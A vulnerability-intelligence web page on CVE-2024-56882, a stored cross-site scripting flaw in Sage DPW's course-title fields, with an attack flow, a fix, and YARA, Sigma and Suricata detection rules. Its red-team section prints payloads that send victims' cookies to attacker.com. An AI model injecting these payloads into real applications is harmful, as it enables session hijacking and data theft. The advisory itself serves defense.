☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-56882

CVE-2024-56882 Cross-Site Scripting in Sage
📅 PUBLISHED: 2025-02-18 00:00 UTC 🔄 UPDATED: 2026-08-21 19:31 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.44%
👁️
0.44% probability
11.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-56882 is a stored Cross-Site Scripting (XSS) vulnerability in Sage DPW (Digital Personnel Workflow) prior to version 2024_12_000. Low-privileged authenticated users with the "employee" role can inject persistent JavaScript payloads into the Kurstitel (course title) and Kurzinfo (short info) input fields. When any authenticated user views or interacts with these modified data elements, the injected script executes in their browser session. This can lead to session hijacking, data exfiltration, or further privilege escalation within the Sage DPW application.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a custom enterprise application (Sage DPW) vulnerability. No supply chain package security implications are present.

CVSS Breakdown & Threat Level

The NVD has assigned a CVSS score of 0.0, which is unusual and likely indicates incomplete scoring. Based on the description, a more realistic CVSS v3.1 vector would be:

  • Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): Low (L) – An authenticated user with employee role is needed.
  • User Interaction (UI): Required (R) – The victim must view the modified data.
  • Scope (S): Changed (C) – The injected script can impact resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Potential for data theft.
  • Integrity (I): Low (L) – Potential for data modification.
  • Availability (A): None (N) – No direct impact on availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N Estimated Score: 5.4 (Medium)

Threat Level: Medium. The requirement for authentication reduces the attack surface, but the stored XSS nature can affect multiple users and persist until manually removed.

Deep Dive & Mechanics

The vulnerability resides in the Sage DPW application's handling of user input in the Kurstitel and Kurzinfo fields. These fields are likely used to store course-related metadata. The application fails to properly sanitize or encode user-supplied input before storing it in the database and later rendering it in web pages.

Attack Flow:

  1. An attacker with an employee role logs into Sage DPW.
  2. The attacker navigates to a page that allows editing of course details (e.g., creating or modifying a course).
  3. The attacker injects a malicious JavaScript payload into the Kurstitel or Kurzinfo field. Example: <script>alert('XSS')</script>.
  4. The application stores the payload in the database without sanitization.
  5. When any authenticated user (including administrators) views the course details, the payload is rendered in their browser.
  6. The JavaScript executes in the context of the victim's session, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Root Cause: Lack of output encoding and input validation for these specific fields.

Vulnerable vs. Patched Code

Since no patch details are available, we can only hypothesize the fix.

Vulnerable Code (Conceptual):

// Vulnerable: Directly outputs user input without sanitization
echo "<div class='course-title'>" . $_POST['kurstitel'] . "</div>";

Patched Code (Conceptual):

// Patched: Uses htmlspecialchars to escape HTML entities
echo "<div class='course-title'>" . htmlspecialchars($_POST['kurstitel'], ENT_QUOTES, 'UTF-8') . "</div>";

The patch likely involves implementing proper output encoding (e.g., using htmlspecialchars in PHP or equivalent in other languages) and input validation to reject or sanitize malicious content.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • Access to a Sage DPW instance (version < 2024_12_000).
  • Valid employee role credentials.

Steps:

  1. Log in to Sage DPW as an employee.
  2. Navigate to the course creation/editing page.
  3. In the Kurstitel field, inject a payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Save the course.
  5. Wait for an administrator or other user to view the course.
  6. The victim's browser sends their cookies to the attacker's server.

Alternative Payload (Session Hijacking):

<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

Blue Team (Defense & Detection)

Detection:

  • Monitor for unusual JavaScript in Kurstitel and Kurzinfo fields via database logs.
  • Use Web Application Firewall (WAF) rules to block common XSS patterns.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

  • Apply the vendor patch (upgrade to version 2024_12_000 or later).
  • If patching is not possible, manually sanitize input using a library like OWASP Java Encoder or PHP's htmlspecialchars.
  • Restrict employee role permissions to minimize the attack surface.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests to unknown domains containing cookie= or document.cookie in the URL.
    • Unusual Referer headers pointing to Sage DPW course pages.
  • Host IOCs:
    • Database entries in Kurstitel or Kurzinfo fields containing <script> tags or event handlers (e.g., onmouseover, onload).
    • Browser console errors related to CSP violations.
  • Log IOCs:
    • Repeated failed login attempts from the same IP (if attacker is brute-forcing credentials).
    • Audit logs showing modification of course details by low-privileged users.

Detection Engineering

YARA Rule

rule CVE_2024_56882_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting Sage DPW Kurstitel/Kurzinfo fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-56882"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Sage DPW Kurstitel/Kurzinfo Fields
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS payloads in Sage DPW course fields
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-56882
logsource:
    category: application
    product: sage_dpw
detection:
    selection:
        field: ["Kurstitel", "Kurzinfo"]
        value|contains|all:
            - "<script"
            - "onerror"
            - "onload"
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of HTML formatting (if allowed)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-56882 Stored XSS Exfiltration Attempt"; flow:to_server,established; content:"cookie="; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Sage DPW to version 2024_12_000 or later.
  2. If upgrade is not possible, implement a Web Application Firewall (WAF) with rules to block XSS payloads.
  3. Manually review and sanitize existing Kurstitel and Kurzinfo entries in the database.

Long-term Measures:

  • Enforce strict input validation and output encoding for all user-supplied data.
  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Conduct regular security audits and penetration testing.
  • Educate users about the risks of XSS and safe browsing practices.

Workaround:

  • Disable the ability for employee role users to edit Kurstitel and Kurzinfo fields until the patch is applied.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Sage DPW
Sage DPW Kurstitel
Sage DPW Kurzinfo

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-56882/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.